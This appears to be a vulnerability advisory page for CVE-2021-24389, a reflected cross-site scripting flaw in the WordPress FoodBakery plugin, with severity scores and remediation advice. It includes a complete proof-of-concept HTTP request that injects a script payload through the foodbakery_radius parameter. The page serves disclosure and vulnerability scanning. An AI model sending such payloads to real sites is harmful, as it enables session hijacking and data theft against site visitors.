| Title | WordPress FoodBakery <2.2 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.13968 |
| CVE ID | CVE-2021-24389 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress xss wp-plugin wpscan chimpgroup vuln |
WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.
GET /listings/?search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24389.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24389.pcap
N/AN/A